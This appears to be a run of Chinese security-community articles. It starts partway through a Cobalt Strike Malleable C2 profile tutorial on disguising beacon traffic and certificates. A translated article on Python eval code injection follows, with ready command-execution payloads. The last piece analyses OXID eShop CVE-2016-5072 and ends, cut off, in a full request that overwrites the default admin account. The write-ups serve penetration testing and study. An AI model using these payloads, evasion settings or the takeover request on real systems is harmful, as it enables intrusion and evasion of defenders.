header "Content-Type" "application/octet-stream";
output {
print;
}
}
}
http-post {
set uri "/MicrosoftUpdate/GetUpdate/KB";
client {
header "Content-Type" "application/octet-stream";
header "User-Agent" "Mozilla/4.0 (Compatible; MSIE 6.0;Windows NT 5.1)";
id {
append "/default.asp";
uri-append;
}
output {
print;
}
}
server {
header "Content-Type" "text/html";
output {
print;
}
}
}
``
### client
#### set默认值定义
`set sleeptime` 为设置心跳包时间，还可以使用`set jitter`和`set
useragent`来设置波动和请求agent。这些都是配置文件中Beacon的默认值，你可以把它理解为profile中的一些配置选项，这些选项分为
**全局选项** 和 **本地选项** 。 **全局选项** 更改全局的Beacon设置。 **本地选项**
是特定于事务的。用`set`就可以设置这个值了。
官网提到的可以将多个uri指定为空格分隔的字符串。CS自己会绑定这些uri，并在Beacon建立阶段时将其中一个uri分配给每个Beacon 。
即使存在useragent选项;您可以使用header语句覆盖此选项。
#### Transaction
`http-get` 和`http-post`为定义请求方式对应的设置，Cs官方称为`Beacon HTTP Transaction Walk-through`,字面上为事务的意思，说白了就是定义C2和Beacon之间不同通信阶段、不同通信请求响应方式对应的通信行为的修改规则
#### metadata
这里有个Metadata，简单说一下就是在Beacon通信过程中Beacon 向 C2 发送有关 Beacon 的信息如当前系统版本信息, 当前用户等
称之为Metadata。发送 Metadata 时一般使用 GET, 上传回显数据时使用
POST。client、server`分别对应客户端和服务端定义的代码块，其中对于`metadata`的部分来将通讯的元数据进行处理，我们可以定义metadata快来自定义编码数据和解码数据。
metadata {
netbiosu;
parameter "tmp";
}
画了个比较丑的图来描述下:
先将metadata通过netbiosu编码后，再在存请求中的参数中。
而服务端在接收数据并解码数据的时候只需要将编码数据的顺序反转即可。
cobalt strike基本的内置编码语法与编码存放设置(cs官方称为 termination statements 感觉不太好贴切理解):
使用`termination statements`可以将数据存放header、http参数、body中等。特别提示print语句是`http-get.server.output、http-post.server.output,、and http-stager.server.output`的预期位置，设置为body中。
当然在这里你也可以在请求添加一些无关痛痒的头或者参数:
http-get {
server {
header "API-URI" "aliyun";
http-get {
client {
parameter "qing" "good";
### server
在`server`块里我们除了定义上面数据传输部分的解码操作以外，同样可以对于C2中的相应内容进行定义。
在响应头中添加了 Vary、Server 、Content-Type 等"正常网站服务"字段, 在响应内容的前后可以加上一些看似""正常""的
比如这里的数据 jQuery 代码, 最后进行 base64 编码并响应在 HTTP Body 里。
server {
header "Server" "Apache/2.4.39 (Unix)";
header "Content-Type" "application/javascript; charset=utf-8";
header "Vary" "Accept-Encoding";
header "Server" "Microsoft-IIS/8.5";
header "Connection" "close";
output {
base64;
prepend "/*! * jquery.base64.js 0.1 - https://github.com/yckart/jquery.base64.js * Makes Base64 en & -decoding simpler as it is. * * Based upon:";
append "r64 = [256],r256 = [256],i = 0;var UTF8 = {/***Encode multi-byte Unicode string into utf-8 multiple single-byte characters* (BMP / basic multilingual plane only)";
print;
}
}
}
#### 转义字符定义
以及在Beacon's Profile中的可以使用的特殊转义字符:
上面都是设置http中get和post中的定义，而在Beacon 与 C2 的通信过程中，当 Beacon 被执行后, 会在 C2 上下载载荷执行, 即
Stage 过程, Stageless
则省去了这一步(你可以理解为第一种只是先传了一个小的下载器，下载器在后面会传输真正执行的载荷)，在C2_profile中同样可以对Stage过程进行规则定义。
### http-stage
例子:
http-stager {
server {
header "Cache-Control" "private, max-age=0";
header "Content-Type" "text/html; charset=utf-8";
header "Vary" "Accept-Encoding";
header "Server" "Microsoft-IIS/8.5";
header "Connection" "close";
}
}
这里http-stager块中可以通过header等语句来定义Stage通信中C2响应的http头内容。
以及可以配置定义uri来模糊通信时请求的url(uri_x86选项设置URI下载x86的payload,uri_x64选项设置URI下载64位的payload):
set uri_x86 "/favicon1.ico";
set uri_x64 "/favicon2.ico";
set uri "/jquery.min.js";
当然如果你想对于C2建立和Beacon通信过程与Stage过程都自定义C2服务器的响应的话，可以设置http-config块,以及可以使用到`set
headers 、set trust_x_forwarded_for`来定义头的顺序和配置重定向:
http-config {
set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
header "Server" "Apache";
header "Keep-Alive" "timeout=5, max=100";
header "Connection" "Keep-Alive";
set trust_x_forwarded_for "false";
}
#### Self-signed Certificates
在HTTPS建立的Beacon中也可以通过`https-certificate`设置唯一、“正常”的证书
https-certificate {
set CN "bobsmalware.com";
set O "Bob's Malware";
}
#### Valid SSL Certificates
上面的证书是我们自签名的，还可以更"正常一些"，在profile中指定Java密钥库文件(必须包含证书的私钥、根证书、任意中间证书以及SSL证书供应商提供的域证书)和密码,`keystore`的值指定密钥文件，`password`为密码：
https-certificate {
set keystore "domain.store";
set password "mypassword";
}
而上面所说的keystore里，包含的数据是分情况的，对称加密和非对称加密的情况不同密钥库文件的内容是不同的:
> 对称加密时包含密钥实体和密钥
>
> 非对称加密时(例如RSA)包含私钥和配对公钥
keytools来生成此证书:
keytool
密钥和证书管理工具
命令:
-certreq 生成证书请求
-changealias 更改条目的别名
-delete 删除条目
-exportcert 导出证书
-genkeypair 生成密钥对
-genseckey 生成密钥
-gencert 根据证书请求生成证书
-importcert 导入证书或证书链
-importpass 导入口令
-importkeystore 从其他密钥库导入一个或所有条目
-keypasswd 更改条目的密钥口令
-list 列出密钥库中的条目
-printcert 打印证书内容
-printcertreq 打印证书请求的内容
-printcrl 打印 CRL 文件的内容
-storepasswd 更改密钥库的存储口令
qing@ubuntu:~/cs_server$ keytool -genkey -alias qing -keyalg RSA -validity 36500 -keystore qing.store
Enter keystore password:
What is your first and last name?
[Unknown]: qing
What is the name of your organizational unit?
[Unknown]: qing
What is the name of your organization?
[Unknown]: qing
What is the name of your City or Locality?
[Unknown]: qing
What is the name of your State or Province?
[Unknown]: qing
What is the two-letter country code for this unit?
[Unknown]: qing
Is CN=qing, OU=qing, O=qing, L=qing, ST=qing, C=qing correct?
[no]: yes
Enter key password for <qing>
(RETURN if same as keystore password):
Re-enter new password:
Warning:
The JKS keystore uses a proprietary format. It is recommended to migrate to PKCS12 which is an industry standard format using "keytool -importkeystore -srckeystore qing.store -destkeystore qing.store -deststoretype pkcs12".
这里仅测试，选项的值实战中尽量趋近于正常便于伪装，可以拿公开的证书信息进行""仿制",qing.store为新生成的keystore文件，-alias
指定别名，-storepass pass 和 -keypass pass 指定密钥，-keyalg RSA 指定主体公共密钥算法，-dname
指定所有者信息。
profile设置相应选项:
https-certificate {
set CN "qing";
set O "qing";
set C "qing";
set L "qing";
set OU "qing";
set ST "qing";
set validity "365";
}
#证书名称和证书密码
code-signer{
set keystore "qing.store";
set password "123456";
set alias "qing";
}
##### c2lint检查profile
Cobtalt Strike自带的c2lint程序，可以用来检查profile的语法格式:
./c2lint [path/to/my.profile]
`qing@ubuntu:~/cs_server$ ./c2lint qing.profile`
在我们学会了自定义编写c2_profile规则后启动teamserver就可以配合各种环境下的C2配置规则文件了,如果在拥有自己域名并解析server后的情况下可以使用@killswitch-GUI的profile:
**Links** :
<https://digi.ninja/blog/cloudflare_example.php>
<https://github.com/n0pe-sled/Apache2-Mod-Rewrite-Setup>
<https://blog.cobaltstrike.com/2014/01/14/cloud-based-redirectors-for-distributed-hacking/>
<https://blog.cobaltstrike.com/2014/09/09/infrastructure-for-ongoing-red-team-operations/>
<https://github.com/rsmudge/Malleable-C2-Profiles>
<https://github.com/killswitch-GUI/CobaltStrike-ToolKit/blob/master/HTTPsC2DoneRight.sh>
<https://www.cobaltstrike.com/help-malleable-c2>
<https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/>
<http://www.harmj0y.net/blog/redteaming/a-brave-new-world-malleable-c2/>
<https://blog.cobaltstrike.com/category/red-team-2/>
<https://github.com/n0pe-sled/Apache2-Mod-Rewrite-Setup> | 社区文章 |
# 【技术分享】 利用Python代码实现Web应用的注入
|
##### 译文声明
本文是翻译文章，文章来源：sethsec
原文地址：<http://sethsec.blogspot.com/2016/11/exploiting-python-code-injection-in-web.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **WisFree**](http://bobao.360.cn/member/contribute?uid=2606963099)
**稿费：200RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**漏洞概述**
如果你的Web应用中存在Python代码注入漏洞的话，攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着，如果你可以在目标服务器中执行Python代码的话，你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令，你不仅可以对那些可以访问到的文件进行读写操作，甚至还可以启动一个远程的交互式Shell（例如nc、Metasploit和Empire）。
为了复现这个漏洞，我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用方法的信息，但是并没有找到太多有价值的内容。在同事Charlie
Worrell（[@decidedlygray](https://twitter.com/decidedlygray)）的帮助下，我们成功地通过Burp
POC实现了一个非交互式的shell，这也是我们这篇文章所要描述的内容。
因为除了Python之外，还有很多其他的语言（例如Perl和Ruby）也有可能出现代码注入问题，因此Python代码注入属于服务器端代码注入的一种。实际上，如果各位同学和我一样是一名CWE的关注者，那么下面这两个CWE也许可以给你提供一些有价值的参考内容：
1\. [CWE-94：代码生成控制不当（‘代码注入’）](https://cwe.mitre.org/data/definitions/94.html)
2\.
[CWE-95：动态代码评估指令处理不当（‘Eval注入’](https://cwe.mitre.org/data/definitions/95.html)）
**漏洞利用**
假设你现在使用Burp或者其他工具发现了一个Python注入漏洞，而此时的漏洞利用Payload又如下所示：
eval(compile('for x in range(1):n import timen time.sleep(20)','a','single'))
那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了：
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))
实际上，你甚至都不需要使用for循环，直接使用全局函数“__import__”就可以了。具体代码如下所示：
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))
其实我们的Payload代码还可以更加简洁，既然我们已经将import和popen写在了一个表达式里面了，那么在大多数情况下，你甚至都不需要使用compile了。具体代码如下所示：
__import__('os').popen('COMMAND').read()
为了将这个Payload发送给目标Web应用，你需要对其中的某些字符进行URL编码。为了节省大家的时间，我们在这里已经将上面所列出的Payload代码编码完成了，具体如下所示：
param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29
param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29
param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29
param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29
接下来，我们将会给大家介绍关于这个漏洞的细节内容，并跟大家分享一个包含这个漏洞的Web应用。在文章的结尾，我将会给大家演示一款工具，这款工具是我和我的同事Charlie共同编写的，它可以明显降低你在利用这个漏洞时所花的时间。简而言之，这款工具就像sqlmap一样，可以让你快速找到SQL注入漏洞，不过这款工具仍在起步阶段，感兴趣的同学可以在项目的GitHub主页[[传送门]](https://github.com/sethsec/PyCodeInjection)中与我交流一下。
**搭建一个包含漏洞的服务器**
为了更好地给各位同学进行演示，我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话，你可以点击[这里](https://github.com/sethsec/PyCodeInjection)获取这份Web应用。接下来，我们要配置的就是Web应用的运行环境，即通过pip或者easy_install来安装web.py。它可以作为一台独立的服务器运行，或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。相关操作指令如下所示：
git clone https://github.com/sethsec/PyCodeInjection.git
cd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
**
**
**漏洞分析**
当你在网上搜索关于python的eval()函数时，几乎没有文章会提醒你这个函数是非常不安全的，而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况，说明你的Web应用中存在这个漏洞：
1\. Web应用接受用户输入（例如GET/POST参数，cookie值）；
2\. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数（没有经过安全审查，或者缺少安全保护机制）；
下图所示的是一份包含漏洞的示例代码：
大家可以看到，eval()函数是上述代码中唯一一个存在问题的地方。除此之外，如果开发人员直接对用户的输入数据（序列化数据）进行拆封的话，那么Web应用中也将会出现这个漏洞。
不过需要注意的是，除了eval()函数之外，Python的exec()函数也有可能让你的Web应用中出现这个漏洞。而且据我所示，现在很多开发人员都会在Web应用中不规范地使用exec()函数，所以这个问题肯定会存在。
**自动扫描漏洞**
为了告诉大家如何利用漏洞来实施攻击，我通常会使用扫描器来发现一些我此前没有见过的东西。找到之后，我再想办法将毫无新意的PoC开发成一个有意义的exploit。不过我想提醒大家的是，不要过度依赖扫描工具，因为还很多东西是扫描工具也找不到的。
这个漏洞也不例外，如果你在某个Web应用中发现了这个漏洞，那么你肯定使用了某款自动化的扫描工具，比如说Burp Suite
Pro。目前为止，如果不使用类似Burp Suite Pro这样的专业扫描工具，你几乎是无法发现这个漏洞的。
当你搭建好测试环境之后，启动并运行包含漏洞的示例应用。接下来，使用Burp Suite Pro来对其进行扫描。扫描结果如下图所示：
下图显示的是Burp在扫描这个漏洞时所使用的Payload：
我们可以看到，Burp之所以要将这个Web应用标记为“Vulnerable”（包含漏洞的），是因为当它将这个Payload发送给目标Web应用之后，服务器的Python解析器休眠了20秒，响应信息在20秒之后才成功返回。但我要提醒大家的是，这种基于时间的漏洞检查机制通常会存在一定的误报。
**
**
**将PoC升级成漏洞利用代码**
使用time.sleep()来验证漏洞的存在的确是一种很好的方法。接下来，为了执行操作系统指令并接收相应的输出数据，我们可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()这几个函数。当然了，应该还有很多其他的函数同样可以实现我们的目标。
因为eval()函数只能对表达式进行处理，因此Burp Suite
Pro的Payload在这里使用了compile()函数，这是一种非常聪明的做法。当然了，我们也可以使用其他的方法来实现，例如使用全局函数“__import__”。关于这部分内容请查阅参考资料：[[参考资料1]](http://www.floyd.ch/?p=584)[[参考资料2]](http://vipulchaskar.blogspot.com/2012/10/exploiting-eval-function-in-python.html)
下面这个Payload应该可以适用于绝大多数的场景：
# Example with one expression
__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commas
str("-"*50),__import__('os').popen('COMMAND').read()
如果你需要执行一个或多个语句，那么你就需要使用eval()或者compile()函数了。实现代码如下所示：
# Examples with one expression
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))
eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))
#Examples with multiple statements, separated by semicolons
eval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))
eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))
在我的测试过程中，有时全局函数“__import__”会不起作用。在这种情况下，我们就要使用for循环了。相关代码如下所示：
eval(compile("""for x in range(1):n import osn os.popen(r'COMMAND').read()""",'','single'))
eval(compile("""for x in range(1):n import subprocessn subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))
eval(compile("""for x in range(1):n import subprocessn subprocess.check_output(r'COMMAND',shell=True)""",'','single'))
如果包含漏洞的参数是一个GET参数，那么你就可以直接在浏览器中利用这个漏洞了：
请注意：虽然浏览器会帮你完成绝大部分的URL编码工作，但是你仍然需要对分号（%3b）和空格(%20)进行手动编码。除此之外，你也可以直接使用我们所开发的工具。
如果是POST参数的话，我建议各位直接使用类似Burp
Repeater这样的工具。如下图所示，我在subprocess.check_output()函数中一次性调用了多个系统命令，即pwd、ls、-al、whoami和ping。
**漏洞利用工具-PyCodeInjectionShell**
你可以直接访问[PyCodeInjectionShell的GitHub主页](https://github.com/sethsec/PyCodeInjection)获取工具源码，我们也提供了相应的工具使用指南。在你使用这款工具的过程中会感觉到，它跟sqlmap一样使用起来非常的简单。除此之外，它的使用方法跟sqlmap基本相同。
**结束语**
如果各位对本项目有任何的建议或者疑问的话，欢迎各位同学在GitHub上与我互动。 | 社区文章 |
# 漏洞聚焦: CVE-2016-5072
**分析开源商店系统OXID中的漏洞**
* * *
本文翻译自: <https://mogwailabs.de/blog/2018/07/vulnerability-spotlight-cve-2016-5072/>
* * *
前段时间，我检查了开源商店软件“OXID eShop”中的已知漏洞，这样做在德国是很受欢迎的。激发我兴趣的问题是[OXID Security
Bulletin 2016-001 (CVE-2016-5072)](https://oxidforge.org/en/security-bulletin-2016-001.html)漏洞，主要是它的影响很大。下面是adivsory供应商发布的消息：
攻击者可以获得OXID
eShop的完全管理访问权限。这包括所有购物车选项，客户数据和数据库。他们还可以执行PHP代码或将恶意代码注入系统和商店的店面。攻击者和受害者之间不需要交互。
该供应商还在它的官方公告中发布了[针对这个漏洞的常见问题答疑](https://oxidforge.org/en/faq-oxid-security-bulletin-2016-001.html)。接下来的内容让我越发地好奇了，当我们使用常见的漏洞扫描程序来处理这个漏洞时，要发现它是非常不容易的：
是谁发现了这个问题呢？
这个问题是由OXID的开发人员发现的，而不是第三方人员。OXID eShop之前历经了多次安全审核，但是都没有发现这个问题。
我决定深入探索存在这个漏洞的根本原因以及攻击者是怎么利用这个漏洞的。
# **基本原理**
阅读了漏洞常见问题解答之后，很显然，攻击者可以以某种方式修改管理员用户的现有数据库记录。那让我们来快速浏览一下“oxuser”数据库表。此表用于OXID所有的帐户，其中包括商店管理员和客户。“oxid”列是表格的主要关键点。默认情况下，在安装过程中创建的管理员帐户时oxid字段的值为“oxdefaultadmin”，而其他的ids是使用OXID
util方法“generateUID()”生成的MD5哈希值。
select oxid,oxrights,oxusername from oxuser;
+----------------------------------+-----------+----------------------+
| oxid | oxrights | oxusername |
+----------------------------------+-----------+----------------------+
| oxdefaultadmin | malladmin | [email protected] |
| e7af1c3b786fd02906ccd75698f4e6b9 | user | [email protected] |
+----------------------------------+-----------+----------------------+
2 rows in set (0.00 sec)
# **PHP数组**
为了掌握怎么利用这个问题的知识，有必要先掌握一些关于PHP数组的背景知识。我们将在这里快速介绍一下基础知识。与大多数高级语言一样，PHP本身也是支持数组的。PHP中的数组实际上是一个有序的映射。映射是一种将值与键关联起来的类型。有了密钥（可以是整数或字符串），您可以访问数组中指定的值。以下脚本提供了几个小例子，如何创建/访问该类数组：
<?php
// Define a new array my_array
$my_array = array(
"key1" => "value1",
"key2" => "value2",
"key3" => "value3",
);
// Accessing array values
print ("Key: key1, value: " . $my_array['key1'] . "\n");
// Adding additional values to the existing array
$my_array['new_value'] = "super new value";
// Accessing the added value:
print ("Key: new_value, value: " . $my_array['new_value'] . "\n");
// Create a second array, using integers as keys
$my_int_array = array(
0 => 'int value 0',
1 => 'int value 1',
2 => 'int value 3',
);
// It is possible to store arrays in arrays
$my_array['array_value'] = $my_int_array;
// Accessing arrays in arrays
print ("Accessing arrays in arrays: " .$my_array['array_value'][1] ."\n\n");
?>
上面脚本的输出结果为：
php arraytest.php
Key: key1, value: value1
Key: new_value, value: super new value
Accessing arrays in arrays: int value 1
PHP语言提供了在HTTP请求中传递数组的有趣的可能性，这是现代框架经常使用的一种功能。这是一个将数组作为URL/POST或Cookie参数的小例子：
print("my_array['key1'] = " .$_REQUEST['my_array']['key1'] . "<br/>");
print("my_array['key2'] = " .$_REQUEST['my_array']['key2'] . "<br/>");
数组“my_array”可以按以下方式传递给脚本：
http://10.165.188.125/array_test.php?my_array[key1]=test&my_array[key2]=bla
下面的屏幕截图显示了在OXID商店中注册的新用户帐户。如您所见，参数`invadr`是一个在POST请求中传递的数组。这个变量对于后续理解漏洞是非常重要的。
# **漏洞分析**
在阅读了advisory供应商提供的信息以及查看了已发布的Mod-Security规则之后，显而易见，这个错误与新用户的注册存在着某种关系。分析这个漏洞的最简单方法是将[易受攻击的版本与修复后的版本](https://github.com/OXID-eSales/oxideshop_ce/compare/v4.8.11...v4.8.12)进行比对来看看相应的变化。
修复后的程序引入了两个新种新的方法，`cleanDeliveryAddress`和`cleanBillingAddress`，两者都在oxcmp_user类中由`createUser（）`来调用：
$sPassword2 = oxConfig::getParameter( 'lgn_pwd2', true );
$aInvAdress = oxConfig::getParameter( 'invadr', true );
$aInvAdress = $this->cleanBillingAddress($aInvAdress);
$aDelAdress = $this->_getDelAddressData();
$aDelAdress = $this->cleanDeliveryAddress($aDelAdress);
$oUser = oxNew( 'oxuser' );
这两种方法的代码非常相似。下面是“cleanDeliveryAddress”的代码：
/**
* Removes sensitive fields from billing address data.
*
* @param array $aBillingAddress
*
* @return array
*/
private function cleanBillingAddress($aBillingAddress)
{
if (is_array($aBillingAddress)) {
$skipFields = array('oxuser__oxid', 'oxid', 'oxuser__oxpoints', 'oxpoints', 'oxuser__oxboni', 'oxboni');
$aBillingAddress = array_change_key_case($aBillingAddress);
$aBillingAddress = array_diff_key($aBillingAddress, array_flip($skipFields));
}
return $aBillingAddress;
}
代码对所提供的帐单地址是否是PHP数组进行基本的检查，如果是PHP数组，就删除具有某些键的元素，比如`oxuser__oxid`。那么在用户注册的过程中，billingAdress（变量`$invadr`）的值是实际上是怎么使用的呢？
# **注：**
以下代码示例选自我的测试安装（版本是oxideshop_ce-sync-p-5.2-ce-176），其他版本可能略有不同。
该值将传递给oxUser类中的两个函数，这两个函数都没有被修复后的程序更改：
* oxuser类中的checkValues（行：449）
* oxuser类中的changeUserData（行：463）
顾名思义，`checkValues`方法对所提供的参数进行一些基本的检查，并且如果验证失败，则返回异常。
/**
* Performs bunch of checks if user profile data is correct; on any
* error exception is thrown
*
* @param string $sLogin user login name
* @param string $sPassword user password
* @param string $sPassword2 user password to compare
* @param array $aInvAddress array of user profile data
* @param array $aDelAddress array of user profile data
*
* @todo currently this method calls oxUser class methods responsible for
* input validation. In next major release these should be replaced by direct
* oxInputValidation calls
*
* @throws oxUserException, oxInputException
*/
public function checkValues($sLogin, $sPassword, $sPassword2, $aInvAddress, $aDelAddress)
{
/** @var oxInputValidator $oInputValidator */
$oInputValidator = oxRegistry::get('oxInputValidator');
// 1. checking user name
$sLogin = $oInputValidator->checkLogin($this, $sLogin, $aInvAddress);
// 2. checking email
$oInputValidator->checkEmail($this, $sLogin, $aInvAddress);
// 3. password
$oInputValidator->checkPassword($this, $sPassword, $sPassword2, ((int) oxRegistry::getConfig()->getRequestParameter('option') == 3));
// 4. required fields
$oInputValidator->checkRequiredFields($this, $aInvAddress, $aDelAddress);
// 5. country check
$oInputValidator->checkCountries($this, $aInvAddress, $aDelAddress);
// 6. vat id check.
$oInputValidator->checkVatId($this, $aInvAddress);
// throwing first validation error
if ($oError = oxRegistry::get("oxInputValidator")->getFirstValidationError()) {
throw $oError;
}
}
`changeUserData`方法看起来更有意义。这段代码会再次调用`checkValues`，然后将`$aInvAddress`数组传递给`assign`方法：
/**
* When changing/updating user information in frontend this method validates user
* input. If data is fine - automatically assigns this values. Additionally calls
* methods (oxuser::_setAutoGroups, oxuser::setNewsSubscription) to perform automatic
* groups assignment and returns newsletter subscription status. If some action
* fails - exception is thrown.
*
* @param string $sUser user login name
* @param string $sPassword user password
* @param string $sPassword2 user confirmation password
* @param array $aInvAddress user billing address
* @param array $aDelAddress delivery address
*
* @throws oxUserException, oxInputException, oxConnectionException
*/
public function changeUserData($sUser, $sPassword, $sPassword2, $aInvAddress, $aDelAddress)
{
// validating values before saving. If validation fails - exception is thrown
$this->checkValues($sUser, $sPassword, $sPassword2, $aInvAddress, $aDelAddress);
// input data is fine - lets save updated user info
$this->assign($aInvAddress);
// update old or add new delivery address
$this->_assignAddress($aDelAddress);
// saving new values
if ($this->save()) {
// assigning automatically to specific groups
$sCountryId = isset($aInvAddress['oxuser__oxcountryid']) ? $aInvAddress['oxuser__oxcountryid'] : '';
$this->_setAutoGroups($sCountryId);
}
}
`oxBase::assign`方法（如下所示）通过循环来遍历数组，并调用私有方法`_setFieldData`来更新每个数据库字段。这样处理可能会很危险，因为攻击者可以控制数组的键和值，允许他覆盖用户对象的任意字段，而不单单是来自地址的字段。
这基本上是一个“Mass Assignment”漏洞，在旧版本的Ruby on Rails中更加常见。
/**
* Assigns DB field values to object fields. Returns true on success.
*
* @param array $dbRecord Associative data values array
*
* @return null
*/
public function assign( $dbRecord )
{
if ( !is_array( $dbRecord ) ) {
return;
}
reset($dbRecord );
while ( list( $sName, $sValue ) = each( $dbRecord ) ) {
// patch for IIS
//TODO: test it on IIS do we still need it
//if( is_array($value) && count( $value) == 1)
// $value = current( $value);
$this->_setFieldData( $sName, $sValue );
}
$sOxidField = $this->_getFieldLongName( 'oxid' );
$this->_sOXID = $this->$sOxidField->value;
}
向`invadr`数组添加其他字段，我们就可以在注册新帐户的期间覆盖oxuser数据库记录中的任意字段。修改不仅限于我们当前的用户，只要我们知道他们的主键（"oxid"），我们也可以覆盖其他帐户的数据。
首当其冲的第一个目标是默认管理员，因为此帐户的“oxid”始终是`oxdefaultadmin`。通过覆盖这个帐户的某些属性，例如用户名和密码哈希值，攻击者就可以破坏帐户并获得OXID商店的管理后端的访问权限。
# **开发**
以下HTTP请求展示了对漏洞的实际利用。我们注册了一个新帐户并将其他字段添加到“invadr”数组中。这应该允许我们覆盖默认管理员帐户的电子邮件地址：
但有点不幸，这似乎不起作用。看来OXID不知怎么地在抱怨我们的密码：
出现这个问题的原因是`checkValues`功能中的检查。该错误是由`checkValues()`调用的方法`checkLogin()`的代码造成的。事实证明，这个功能比“只检查”电子邮件地址要更复杂一些。实际上，我们尝试滥用的“bug”是OXID的一个特征。这就是为什么添加的清理功能不检查`oxuser_username`或`oxuser_oxpassword`的原因所在。
public function checkLogin($oUser, $sLogin, $aInvAddress)
{
$sLogin = (isset($aInvAddress['oxuser__oxusername'])) ? $aInvAddress['oxuser__oxusername'] : $sLogin;
// check only for users with password during registration
// if user wants to change user name - we must check if passwords are ok before changing
if ($oUser->oxuser__oxpassword->value && $sLogin != $oUser->oxuser__oxusername->value) {
// on this case password must be taken directly from request
$sNewPass = (isset($aInvAddress['oxuser__oxpassword']) && $aInvAddress['oxuser__oxpassword']) ? $aInvAddress['oxuser__oxpassword'] : oxRegistry::getConfig()->getRequestParameter('user_password');
if (!$sNewPass) {
// 1. user forgot to enter password
$oEx = oxNew('oxInputException');
$oEx->setMessage(oxRegistry::getLang()->translateString('ERROR_MESSAGE_INPUT_NOTALLFIELDS'));
return $this->_addValidationError("oxuser__oxpassword", $oEx);
} else {
// 2. entered wrong password
if (!$oUser->isSamePassword($sNewPass)) {
$oEx = oxNew('oxUserException');
$oEx->setMessage(oxRegistry::getLang()->translateString('ERROR_MESSAGE_PASSWORD_DO_NOT_MATCH'));
return $this->_addValidationError("oxuser__oxpassword", $oEx);
}
}
}
if ($oUser->checkIfEmailExists($sLogin)) {
//if exists then we do now allow to do that
$oEx = oxNew('oxUserException');
$oEx->setMessage(sprintf(oxRegistry::getLang()->translateString('ERROR_MESSAGE_USER_USEREXISTS'), $sLogin));
return $this->_addValidationError("oxuser__oxusername", $oEx);
}
return $sLogin;
}
当我们在`invAdr`数组中添加`oxuser__oxusername`键的值时，我们还必须提供密码（数组键`oxuser_password`）。然后用我们自己也可以提供的HTTP请求参数`user_password`来检查该字段的值。因此请求中的所有`password
fields`必须包含与值相同的哈希散列。
长话短说，我们可以覆盖默认管理员帐户的用户名和密码哈希值。这会将默认管理员的用户名更改为`[email protected]`，密码为`hacked456`：
POST /index.php?lang=1& HTTP/1.1
Host: 10.165.188.125
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.165.188.125/index.php?lang=1&cl=register&fnc=logout&redirect=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1526
Cookie: oxidadminlanguage=en; oxidadminprofile=0%40Standard%4010; language=1; sid=nht6r60vqs46cjkjpdn1t5n6a1; sid_key=oxid
Connection: close
Upgrade-Insecure-Requests: 1
stoken=98BFFD11&lang=1&actcontrol=register&fnc=registeruser&cl=register&lgn_cook=0&reloadaddress=&option=3&lgn_usr=poc%40mogwailabs.de&lgn_pwd=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb&lgn_pwd2=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb&blnewssubscribed=0&invadr%5Boxuser__oxsal%5D=MR&invadr%5Boxuser__oxfname%5D=PoC&invadr%5Boxuser__oxlname%5D=PoC&invadr%5Boxuser__oxcompany%5D=&invadr%5Boxuser__oxaddinfo%5D=&invadr%5Boxuser__oxstreet%5D=Poc&invadr%5Boxuser__oxstreetnr%5D=123&invadr%5Boxuser__oxzip%5D=12345&invadr%5Boxuser__oxcity%5D=PoC&invadr%5Boxuser__oxustid%5D=&invadr%5Boxuser__oxcountryid%5D=a7c40f631fc920687.20179984&invadr%5Boxuser__oxstateid%5D=&invadr%5Boxuser__oxfon%5D=&invadr%5Boxuser__oxfax%5D=&invadr%5Boxuser__oxmobfon%5D=&invadr%5Boxuser__oxprivfon%5D=&invadr%5Boxuser__oxbirthdate%5D%5Bmonth%5D=&invadr%5Boxuser__oxbirthdate%5D%5Bday%5D=&invadr%5Boxuser__oxbirthdate%5D%5Byear%5D=&save=&invadr[oxuser__oxid]=oxdefaultadmin&invadr[oxuser__oxusername][email 